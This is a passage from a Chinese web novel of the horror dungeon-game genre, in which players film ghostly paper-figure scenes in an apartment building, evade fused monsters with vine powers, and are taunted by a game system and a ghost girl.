“和我们猜的一样。”许舟云淡风轻地说，“不管拍摄成不成功，一台dv机都只能拍摄一次。”
话音刚落，这行字同全黑的背景一齐消失在了dv机的显示屏上。
显示屏恢复了原样，只不过现在的机子，俨然失去了拍摄功能。
“第三段视频要在哪拍？”苏灵妤眨了眨眼。
许舟沉吟道：“理论上来说...第三段和第四段视频都在406。但现在恐怕已经过了第三段视频的发生时间了。”
苏灵妤思衬片刻，看了眼瑶姐留下的手机：“好像确实过了...”
“不过这也是没办法避免的。”许舟安慰道，“第二段拍完后，406涌现迷雾，没办法立即拍摄第三段...咳。”
“不这样做就不像是副本了。”沈霁语气掺杂着一丝无奈，“副本可不会让我们一次性拍完几个视频，总得多加限制。”
“尽管406的纸人情节未必在同一个房间发生，但406就那么点大，如果一次性能拍三个视频，鬼段漓口中四段视频的‘四’这个数字将毫无意义。”许舟习惯了副本的德性。
“那...第四段谁去？”苏灵妤轻声道。
姚务锦的目光落在了许舟的身上，眼中透露着乞求：“我肩膀受伤了，举不起dv机...”
许舟：“......？？？”
她深深吸了一口气，压下了心中的不满：“我要扮演花舟，怎么拍摄？三头六臂？”
“太痛了，忘了。”姚务锦讪讪道。
说罢，他的目光小心翼翼地在沈霁、箫云筝和苏灵妤三人之间打转。
箫云筝颇为嫌弃地瞥了他一眼：“我去吧我去吧。烦死了。谁让我喜欢刺激呢？”
箫云筝的嫌弃在姚务锦眼中登时变得眉清目秀，他假惺惺地说：“箫大佬，您小心。”
“你少说两句话吧。”箫云筝恶狠狠地瞪了他一眼。
“几点了？”许舟看向苏灵妤。
苏灵妤低头一瞥：“快凌晨十二点半了。”
许舟在心里默默盘算了一下时间：“差不多了。第四段视频的时间。”
123. 不要低头看手机（31）
“第四段视频，黎心姐你是不是触发过一次？”苏灵妤眼神闪过一瞬光亮。
“对，那次我进入406后，你们没跟上来，我就独自看了一次第四段视频所属的纸人情节。”许舟颇为耐心地讲述了一次当时看见的情景。
语罢，她补充道：“这段情节结束后，你们也进到406来，看见鬼段漓坐在窗台上宣布第一个周期结束。”
“那...那两个融合物怎么办？”苏灵妤最终问出了先前就埋在心底的问题，“黎心姐，你说过，这段情节里有那对融合物夫妻的参与。”
这栋楼里，众人最熟悉的地方之一恐怕便是公共厕所。
箫云筝将两名融合物关到公共厕所，无异于为众人商量对策争取了时间。
但现在...到了释放他们的时候了。
若是等他们再次游荡到四楼，该等到猴年马月？
众人陷入了沉默。
半晌，许舟沉吟道：“......我去引他们进406。”
“我和你一起去。”沈霁不假思索地说，“其他人找个房间躲着就好。”
“啊？”苏灵妤难以置信地看向两人，“这样太危险了，不能让你们去冒险。”
“这你不用担心，老玩家有保命手段，问题不在这。”箫云筝指了指自己，笑骂道：“你忘了？我要拍第四段视频的，怎么能躲起来？”
姚务锦却提议道：“不如让沈霁来拍第四段视频，箫云筝等下一个周期再拍第三段？”
箫云筝却皮笑肉不笑地说：“呵。沈霁拍两段，我和苏灵妤各拍一段，就你什么都不用做对吧？算盘打得啪啪响噢。”
说罢，他还拍了两下手，模拟算盘的响声。
“...你，你，你要这样想我也没办法。”姚务锦低声骂道，“再说了，我肩膀这不是受伤了吗？就不能体谅一下。”
沈霁则声音清冷地正色道：“这段不能我拍。因为我们先前提到过，不能连续拍摄406的视频。可能的情况有两种，第一种是同一周期内不能拍摄同一门牌号内的相连两段视频。”
他缓了口气，继续道：“已知第二三四段都在406内，那么第二段和第三段不能在一个周期内拍，第三段和第四段不能在一个周期内拍。但第二段和第四段则可以。”
许舟清了清嗓子：“咳咳...这种情况下，我们暂时省略了第三段视频不拍，按道理来说，沈霁可以和我进去拍第四段，没有问题。”
“看来问题出现在第二种情况。”苏灵妤仰头问道，“第二种是什么？”
“另一种比较麻烦。既然问题不出在门牌号上，那就只能出在...人上。”沈霁阴冷的眸色又是一沉，“比如同一个人不能拍相连两段，像我拍了第二段，就不能接着拍第三段。”
“但也有可能...咳...是同一个人在一个周期内只能拍一段。”许舟低哑道，“沈霁在第二周期拍了一段，就不能再拍另一段。”
“没错，吸引融合物拍摄非常危险。”沈霁语气里带着毋庸置疑，“哪怕只有一点可能性，我们也不能冒拍摄失败的风险。”
“有道理，而且拍摄失败还会折损一台dv机。”苏灵妤点点头，陷入了思考，“那怎么办呢？要不箫云筝和黎心姐一起去引融合物？箫哥也有保命手段吧？是道具吗？”
她的语气很真诚，是实实在在地为众人的安全多考虑。
“有是有，但不是道具。”箫云筝缓缓道，“是异能。”
没听说过“异能”这两个字的苏灵妤和姚务锦先是面露疑惑，但当他们将这两个字以字面意思理解后，所剩的只有惊讶和一丝丝忌惮。
“他的异能不适用于现在。”时间的紧迫让沈霁语速飞快，“我的异能适合。”
异能是个人隐私，众人都默契地没有追究沈霁的异能到底是什么。
只是...
箫云筝的面色变化得很精彩：“你怎么知道我的异能不适用于现在？不会是...你想和黎心一起行动吧？”
“你们就躲在兰姨的405，这里距离406最近。三个人一起进，不会触发纸人情节。听到外面动静后，及时跟着我进406。”许舟假装没听到箫云筝的话，自顾自说着。
沈霁也完全把箫云筝的话语当作耳边风：“事不宜迟，黎心，我们走吧。”
说罢，两个人先后楼道走去，留下箫云筝在后面不满地念叨：“你们不理我？好啊好啊。”
而后，便是三个人进入405后关门的声音。
在巨大的压力下，许舟和沈霁一声不响地沿着楼梯向下走。
走到二楼与一楼交界处时，他们听见楼下传来窸窸窣窣的响声。
沈霁关上手电筒，往墙边靠了靠，竖起耳朵听。
许舟慢慢走到对角线的位置，准备随时发动异能。
“低估他们几个了，阿丽。”
“没事，只要他们还在这栋楼里，早晚会被我们抓住——咕噜噜——”
声音一会儿远一会儿近，两人似乎正在一楼反复徘徊。
借着极其微弱的月光，许舟和沈霁交换了一个眼色。
沈霁使用他被许舟在图书馆副本里换得的“蔓舞千丝”，在地上长出了一根藤蔓，发出细碎的声响。
“我听到声音了！”
楼下的两名融合物不约而同地说道。
“但...好像是什么植物的声音。”“黎茗丽”的声音再度变远，“他们用植物骗过我们好几次了，阿钊。”
虽然融合物智商不高，但仍有一定的学习能力。
沈霁使了个失望的眼色，二人再度对视了几秒。
许舟飞快地往上跑了几个台阶，来到了二楼。
沈霁收起藤蔓，假模假样地大声说道：“遭了！两个融合物从厕所出来了！”
话音刚落，沈霁和许舟拔腿就向上跑。
“这次不只是植物，有真人啊，阿丽。”
两名融合物不再迟疑，飞奔上楼。
他们的速度无异于快于两人，很快就要追上刚刚才跑到二楼的沈霁。
他攥了攥拳，向二楼楼道深处跑去。
跑出几步后，他与快跑到二楼和
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三楼交界平台的许舟心有灵犀地使用“蔓舞千丝”，在201和202后树起一排密密麻麻的藤蔓，完完全全地挡住了继续深入的道路。
紧接着，沈霁放缓了脚步，一言不发地躲在藤蔓墙之后。
“又是这种奇怪的植物。”跟随声音来到二楼的两名融合物疑惑地抚摸着藤蔓墙，“难道还是被骗了？”
许舟便在此刻，刻意压重了脚步，向着三楼飞奔而去。
“踏——踏踏——”
脚步声重重落入融合物的耳中。
“没听错！他们跑到三楼了！”
“没错！这藤蔓是障眼法！他们不在这！”
一场融合拉低了两名NPC的智商，他们习得了藤蔓是障眼法，却又丝毫不懂得变通。
当他们离开二楼的藤蔓墙后，许舟和沈霁悄悄撤开了这一面的藤蔓，将沈霁从中释放出来。
沈霁放轻脚步，跟在两名融合物之后。
在许舟刻意放大的脚步声的映衬下，沈霁的脚步声格外地不起眼，以致于两名融合物完全没有留意到其存在。
而驾轻就熟的许舟一鼓作气跑到了四楼。
此刻的沈霁也已然飞奔到三楼与四楼之间的交界平台处。
眼瞧着两名融合物在浓雾中的阴影就在许舟身后不远处，许舟和沈霁快速放出一堆藤蔓缠住了他们的脚腕，短暂地限制住了他们的动作。
许舟得以顺利地奔向406不远处。
虽然406到楼道口的距离很远，远到在迷雾中甚至难以捕捉他人的身影。
但许舟和沈霁仍重重对着对方的方向点了点头，而后松开了纠缠着两名融合物的藤蔓。
第三次。
门口的烛光蓝光荧荧。
许舟淡然自若地走到406门口，待蜡烛光芒由蓝色变为黄色，门自然而然地随着“嘭”地一声打开。
这次，也许是因为“黎茗丽”和“许钊”亦是第四段视频中出现的人物，他们不同于先前的一动不动，而是眼神空洞，如木偶般僵硬地走向406。
而身上散发着的那种攻击性烟消云散。
许舟稍稍侧开身子，让“黎茗丽”和“许钊”率先进入406中。
进入后的他们双手垂下，脑袋歪斜，静静地杵在门内两侧等候着。
405被打开了一道门缝。
箫云筝面带笑容地从405走来，心里满是按耐不住的对刺激的追求。
当他靠近一些后，许舟一言不发地走进406，完全没有等到两人并肩而入的打算。
“诶你等等。”箫云筝加快了脚步，“我没进到406怎么办？”
许舟无语地瞥了他一眼：“纸人情节的触发时间也没有卡得那么死。两个人进去的时间很接近就可以了。上次把我一个人关里面是因为你们在门口迟疑了。”
说罢，箫云筝便踏入406之中，门自顾自地关上了。
黑暗之中，“黎茗丽”和“许钊”一左一右。
两双眸子闪过一瞬红光，视线紧紧咬在许舟和箫云筝身上，久久仍未离开。
124. 不要低头看手机（32）
他们的内心埋藏着无穷无尽的仇恨，也许是仇恨许舟将他们引到这儿，强制让他们出演一场纸人情节的视频。
但迫于限制，他们的身子动弹不得，只能乖乖屈尊于系统的胁迫，按纸人情节的固定发展行使一举一动。
“你们这么凶狠地看着我们做什么？”箫云筝却别有深意地戳了戳身旁的两名融合物，“想把我撕碎？不好意思，不行。”
许舟无奈地撇了撇嘴角。
她摸着黑向前，视线却四处游荡。
在上次独自触发这段纸人情节时，纸人段漓在地板中间柔弱哭泣，而周遭的住户几乎齐聚一堂，投来同情的目光。
那...
自己当时所处的位置在哪呢？
“怎么还不开始啊？”箫云筝不耐烦地问，“你上次自己不小心进来之后，也等了这么久吗？”
箫云筝的话语打断了许舟的思绪，她果断地摇了摇头：“没有。”
半晌，她补充道：“也许是因为上次是我一人独自进入406，身旁没有其他玩家，因此无论我当时所处位置在哪里，都没有人能用dv机拍摄下这一情节，纸人情节干脆直接触发。”
“但这次不同，你和我一起进来了，你可以记录下第四段视频。我需要和这对夫妻一样。”许舟指了指身边的“黎茗丽”和“许钊”，“站对位置，才能启动情节。”
“原来是这样啊。”箫云筝语气里满是无所谓，“所以黎心大佬，花舟在这段纸人情节里，当时应该在哪里呢？”
许舟思衬片刻，攥了攥拳头，指甲深深陷入肉里，艰难地从喉咙深处吐出几个字：“厨房吧。”
当时...我是在袖手旁观吗？
蓦然，许舟觉得自己有些记不清当年的事情了。
“按网上那条链接来说，应该是的。”箫云筝丝毫没注意到许舟的神情变化，举起了dv机，“事不宜迟，黎心小姐，请吧。”
记忆总是很奇怪。
虽然许舟记不清当年事情的全貌，但她却在黑暗中轻而易举地走到了厨房中。
她拉开柜门，深吸一口气，弯下身子猫了进去。
下一刻。
406的迷雾散尽，客厅吊灯尽情将它散发的光芒铺洒到每一个角落。
而卧室门等等与第四段情节无关的房门陡然“嘎吱嘎吱”地关上，将这一场拍摄的场地聚焦于客厅和厨房。
许舟的视线从柜门缝隙钻出。
纸人段漓凭空出现在了客厅中央的地板上。
她柔弱娇小地躺在地上，蜷缩着身子。
同上次般，从她的纸人口中发出阵阵呜咽。
许舟上次在406大门观看这一幕场景，这次却在厨房的柜子中。
厨房正对406大门。
纸人段漓背对着大门，因此她的面孔在厨房中足以看得一清二楚。
悲伤，难过，痛苦。
而在融合物黎茗丽和融合物许钊的身边，赫然围满了纸人住户。
其中自是包括了长期以往关爱着段漓和花舟的兰姨，以及先前偶遇的306大学生曹宇航。
只不过，纸人兰姨这次似乎与先前有所不同。
许舟眯缝双眼，打量着她。
许舟惊觉，自己的目光可以穿透纸人兰姨的躯体，径直来到她身后的墙上，甚至模模糊糊地能见着白墙上挂历的数字。
纸人兰姨被半透明化。
她生生变成了一道虚影！
上一次看见虚影纸人，是什么时候来着...？
许舟的思绪忽而坠入回忆之中。
不久之前，她们曾在一楼保安室门口，偶遇306的大学生曹宇航。
而便在曹宇航带领他们去306取dv机时，还是纸人的黎茗丽从中走出，顺走了那台dv机。
当时的纸人黎茗丽，同样是一道半透明化的虚影！
想到这里，尽管此刻的智汇街13号处地冻天寒之中，柜中的许舟额角仍是渗出细密的汗珠。
纸人兰姨恐怕也将摆脱晚十点到次日凌晨一点的限制，正式出现在每一个周期内的全部时刻。
若让她与活人兰姨相遇，楼内将会多出一名融合物，后果不堪设想。
“呜呜呜——”
纸人段漓的一声哭泣触碰了许舟的脑海，将她的思绪拉回到眼前的纸人情节之中。
她在柜中艰难地抬手擦去汗珠，神情再度变得自若冷静。
冷静，永远是副本中的必修课。
她目光沉着地扫视那一排纸人住户，所幸只有纸人兰姨化作虚影，暂时没有发现其他异变的纸人。
而箫云筝还在旁边全神贯注地盯着面前dv机的显示屏，全然没有发现纸人的变化。
融合物黎茗丽和融合物许钊眼神依旧红光烁烁。
纸人段漓忽地转身，背对许舟。
她慢吞吞地向一众纸人住户爬去，直到一位陌生女纸人将她抱在怀里。
与许舟上次亲眼目睹的这一切一般，纸人段漓在经历一阵急促的呼吸后合上了双眼。
许舟不禁再次思索——当年段漓，究竟是死是活？
若是活着，她现今身处何处？
许舟抬眸，却发现一众纸人住户神情凝重，其目光不约而同地投在自己的方向。
“你为什么要袖手旁观！”
“她可是你的好朋友段漓啊！”
“花舟，你说呢？”
“究竟是为什么呢？”
众人的指责声侵入了许舟的脑海，让她的头一时有些疼痛。
许舟不禁闭上双眼，微颤的长睫在眼下落出阴影，她静静地将双手拢在自己的头上。
然而，便在此刻，系统音一字一顿地在她的脑海里进行无情的播报。
——恭喜解锁剧情碎片“袖手旁观的花舟”
——剧情完成度达到55%
而歹毒的系统竟然在播报声结束后，轻飘飘地加上了一句富有感情的锐评。
系统：“哎呀！这从第二段视频开始，一直到第四段视频，这花舟都躲在厨房的柜子里，眼睁睁地看着好朋友段漓受伤死去。她是不是个袖手旁观的坏人？”
许舟强撑理智，用副本中的其他人听不见的音量道：“我说过了，我对不起的是现实世界的段漓，而不是你伪造的假段漓。此外，我对当年事件的
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结尾记忆模糊，段漓死没死，不由你说了算，我自会查清。”
“真没意思！唉！！”系统长叹一口气，却又用一种看好戏的语气继续在许舟脑海里说道，“但据我所知，你好像要为了进异世界杀掉沈霁哦！他也算是你的朋友了吧。”
许舟还未开口，系统再次说道：“嘻嘻嘻，加油哦！我看好你！”
语罢，一阵熟悉的铃声飘入许舟的耳中。
“叮咚——”
铃声让所有纸人停下了手中的动作。
片刻，除了融合物黎茗丽、融合物许钊以及虚影纸人兰姨外的所有纸人消失在了406之中。
而406的吊灯静悄悄地关上。
尽管刚刚与系统进行了沟通，许舟仍清楚地瞪大了眼睛，冷静地观察着四周。
尤其是两次触发这段纸人情节的不同之处。
406的所有房门忽地打开。
“快来客厅！”
鬼段漓笑着嚷道。
许舟慢慢推开柜门，活动了一下蜷在狭小空间里有些酸痛的手脚，随即从厨房中走出。
鬼段漓的一颦一笑一如既往，她坐在窗台上，一双灰白色的小腿晃来晃去。
沈霁、姚务锦和苏灵妤从走入406中。
“这是什么啊！”姚务锦大叫一声，退回至406外。
沈霁向姚务锦方才目光所至之处望去，见到墙边杵着的两个融合物和一个虚影纸人，不动声色地看了许舟一眼。
许舟轻轻点了点头。
沈霁眸色一沉，宛若在那对视的一瞬间便猜测到了关于纸人虚影变化的后果。
“哼！他不进来就算了！”鬼段漓看向门外畏手畏脚的姚务锦，不禁努了努嘴。
但很快，她又恢复了那副欢快俏皮的面孔。
“我宣布，第二个周期，结束啦！！！”
“已拍摄的重要视频数量：2”
“所需拍摄的重要视频总数量：4”
听到这儿，几人纷纷松了口气。
“看来第四段也拍成了。”箫云筝急切地邀功，“我厉害吧！”
鬼段漓从窗台下蹦下，笑盈盈地看向箫云筝：“厉害厉害！连我也要夸你了！”
箫云筝得意地炫耀道：“看，段漓都夸我了！她夸过你们吗？”
许舟：“......”
沈霁：“......”
其他人：“......”
“我们还是先出去吧。”许舟提醒着，指了指鬼段漓，“上次她给出的建议可不能忘了。”
“对。万一扮演纸人花舟的黎心姐和活人花舟相遇也会融合，从而触发死亡条件...”苏灵妤嘴唇抖了抖，“那我们可就全军覆没了。”
“你们可真有趣。”鬼段漓捂嘴笑了一阵。
在她笑的时候，406内的四人已经默不作声地涌出了客厅。
鬼段漓一蹦一跳地离开406：“那，第三个周期...”
沈霁的目光却陡然落向406内三个模糊的影子。
他打断了鬼段漓的话，让她硬生生把“开始”两个字憋了回去。
“等一下。”
125. 不要低头看手机（33）
沈霁声线清冽，其对鬼段漓的打断却无疑引发了她的不满。
她嘟起发黑的小嘴，气势汹汹地说道：“怎么了？”
“我想问一下——”沈霁声音淡淡地，手指向406内，“屋子里那几人怎么处理？”
沉定的问话莫名让鬼段漓感到一种压迫感，她不禁吐了吐舌，扒拉着门向内看去。
沈霁的手，正好指向屋内的融合物黎茗丽、融合物许钊以及虚影纸人兰姨。
“嗯...”鬼段漓颇为抱歉地说道，“这个就不用你们管啦。”
“不管？”沈霁冷笑一声。
“你...你笑什么！”鬼段漓瞪大了眼珠子，望着他。
“他们三人被关在这里。”许舟蹲下身子，直视鬼段漓双眸，缓缓道，“那我们下次进来拍摄时，可不就要遭殃了？”
“毕竟...”许舟顿了顿，如蛇吐芯子般继续道，“第三段视频里会出现的角色，恐怕没有兰姨和506的那对夫妻吧？”
“所以呢！”鬼段漓忍不住伸出手摸了摸许舟的肩膀。
紧接着，她在许舟脑海里说出了在场所有人中仅有许舟能听见的话语——“别忘了我们的约定！你怎么...怎么还帮他说话！”
语罢，鬼段漓便十分自然地收回自己的小手。
鬼段漓传递信息的速度很快，许舟默不作声地抬眸环顾了其余四人，他们的面色如常，并未察觉异样。
“为了我的安全。”许舟定定地看着她，在不引起他人怀疑下简短地回答了她的问题，“所以，这三人若不是视频里会出现的人物，就不会像我们拍第四段视频时那样受到限制困于指定地点无法移动了。”
“对！”苏灵妤点点头，“我们也不能像之前一样通过触发纸人情节躲避追踪！因为这三个人本身就处在触发纸人情节的房间里。”
“哎呀！”鬼段漓双手抱臂，扭过脸去，不满道，“融合物和虚影纸人可不会被一扇锁上的门困住。”
融合物能拆门。
虚影纸人能直接从墙间穿梭。
“但，万一你对这406的门施加什么手脚...”沈霁挑眉，似笑非笑道。
“好啦好啦。”被戳穿小心思的鬼段漓连着剁了好几下脚，“下一个周期开始时，我会让他们会回到属于自己的房间，但之后他们往哪走，怎么游荡，就和我没关系了！”
属于自己的，房间。
许舟心咯噔一下。
姚务锦神色大变，紧张地问：“506夫妻还好，他们已经变成融合物了。但是...你让虚影兰姨回她自己的房间405，岂不是要与活人兰姨相遇？她们融合了怎么办？”
“我不管。我已经仁至义尽了。”鬼段漓轻轻“哼”了一声，目光落向姚务锦肩上的伤口，“你还是管好自己的伤吧。”
随后，她又一次对着许舟轻轻一触——“相信不用我多说了，杀了沈霁。”
在她脑海内语罢，鬼段漓对着她又是浅浅一笑。
须臾，她一一扫过面前五人的脸庞，淡淡地一笑：“这次没人打断我了吧！”
“那...我宣布！”鬼段漓打了个响指，“第三个周期，正式开始！”
说罢，她拉上406的门。
在门完全合上的前一秒，许舟警惕地看了一眼门内的融合物和虚影纸人，他们果真消失不见。
当许舟的目光回到身前的鬼段漓时，她也凭空蒸发了。
而周遭凝滞的空气恢复了往常的流动。
苏灵妤看了眼瑶姐留下的手机：“时间回到晚七点了。已经重启了。”
“你们让她把406的融合物和虚...什么来着...？”箫云筝语气是在吐槽，嘴角却轻轻上扬。
“虚影纸人。”沈霁说。
箫云筝露出恍然大悟的神情：“对对对！你们让鬼段漓把那三个鬼东西赶回了他们的房间。这样也太...”
听见“鬼东西”三个字，沈霁就知道自己刚刚白说了。
“太没意思了！”箫云筝忿忿道，“她不是想慢慢折磨我们吗？也不一定会用锁门这种手段杀我们嘛！为什么不和她一起愉快地玩耍呢？”
“黎心，你饿了吗？”沈霁突兀地一问。
许舟轻笑两声：“饿了。”
“我们去看看有没有吃的。”
“走。”
说罢，两人作势要离开。
箫云筝：“......”
箫云筝抬起双手，虚抹眼泪：“你们又不理我！又欺负我！”
沈霁：“哦。”
许舟：“哦。”
两人丝毫抬起腿向前走去，丝毫没有停下的意思。
“好好好。”箫云筝拖着腔调，“我错了行了吧。先别走，行行好。”
这时，许舟和沈霁才回过神来。
看着楼道漆黑一片，沈霁打开了手电筒。
“叮咚～”
箫云筝方才用于拍摄的dv机响了一声。
他低头看了一眼，勉强止住笑意：“确认了一下，刚刚确实拍摄成功了。”
“刚刚那个问题你还需要知道答案吗？”沈霁唇角小幅度扯了下，缓缓道，“关于鬼段漓，不一定会用关门手段杀人。”
“不用了不用了。”箫云筝连连摆手，“她在第一个周期结束时提醒我们，是她当时想慢慢玩弄我们。但谁知道她的心思会不会变呢？说不定现在就想用简单粗暴的方式杀死我们。”
苏灵妤补充道：“而且...她把拍摄的玩家和两名融合物以及虚影纸人关在一起，形成天然的戏弄场所，也算是慢慢折磨的一种了。”
许舟微不可察地点了点头。
虽然鬼段漓想见证她杀死沈霁的那一幕，必定会留她一命，但与融合物及虚影纸人共处一室也够她喝上一壶。
“对，她和我一样。”箫云筝又恢复了惯常的笑意。
其他四人闻言，忍不住翻了个白眼。
......
“这是什么！”405兰姨的房间传来了她苍老却锐利的尖叫声。
许舟和沈霁对视一眼——虚影纸人兰姨出现在了活人兰姨的面前。
“啊——”
兰姨的声音震耳欲聋。
“咔——咔——咔咔——”
405内传出骨骼响动的声音，犹如...什么人的四肢被扭断后进行重组。
就连本该微
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不可察的骨骼声在此刻都轻易地穿透405的木门，径直飘入屋外五人的耳中。
而四楼的其他房门，竟均是纹丝不动，住户们对这巨响丝毫不怀疑不关注，没有出门看看的意思。
“他们就没一个人想出来看看吗...？”苏灵妤被骨骼响动声吓了一跳，嘴唇有些发白。
“这些声音，恐怕只有玩家能听到。”许舟冷静地作出判断。
“哗啦——”
405的门开始剧烈晃动，传来什么东西扒拉门的声音。
许舟不动声色地看向木门，心知活人兰姨和纸人兰姨已经完成了融合。
从此正如黎茗丽和许钊一般，整栋楼里不会再有纸人兰姨和活人兰姨，只剩下他们的融合物。
“快去熄灭406的蜡烛，让他们停下啊！”姚务锦急忙催促。
“哪儿有蜡烛？”沈霁反问道。
姚务锦一怔，瑟瑟地看向406的门前，只见门前灰白色的地板上空空一片，哪能看得见那两个冒着蓝光的蜡烛的身影？
“那两个蜡烛，只在晚十点后出现，也就是事件发生的那三小时。”许舟一边解释，一边仔细观察周遭环境，已寻应对之法。
“哗啦——”
又是一声尖锐刺耳的声音，虽是在挠门板，却挠进了姚务锦的心脏。
他呐喊着：“那快想办法啊！想不到就跑啊。”
“在想了。”沈霁说，“你跑得过融合物？”
许舟突然向404的方向走去：“就躲在这好了。”
“就躲在四楼？”姚务锦大惊，“黎心大佬，你认真的？”
“最危险的地方，就是最安全的地方。”许舟抬手敲了敲门。
“谁？”
“暴雪天，我们是来这附近地理研究的大学生，可否借住一会儿？”许舟问道。
“不是说是花舟亲戚吗...？”姚务锦小声疑惑道。
“对不同人，要有不同的理由。”沈霁说着，指了指他的肩，示意他遮盖一下伤口。
姚务锦从包上用力扯下一小块布，披在自己肩上。
片刻之间，门内没有回应。
许舟可以预想到门内的一家四口正在商量。
但很快，门就被一位中年男人打开。
屋内热气腾腾的饭菜香跃入几人鼻尖。
他扫视了一下众人。
目光落在中年的姚务锦身上时，他迟疑了一下。
沈霁说：“这是我们导师。”
男人点了点头，随即看向戴帽子和口罩的许舟。
许舟咳嗽两声：“感冒了。”
“进来吧。”男人让开一条道。
“妈妈，他们是什么人？”饭桌前的女童问。
“来躲雪的大学生。”女人慈祥和蔼地说，“桐桐长大后，要成为一名乐于助人的人哦。森森也是。”
女人看向桌前的男童。
“好！”他们不约而同地喊着。
在最后一名玩家走入404之后，男人将头伸出去，目光似乎停留在了405那被扒拉的木门上。
“嘎吱——”
405的门，被里面的融合物兰姨，打开了。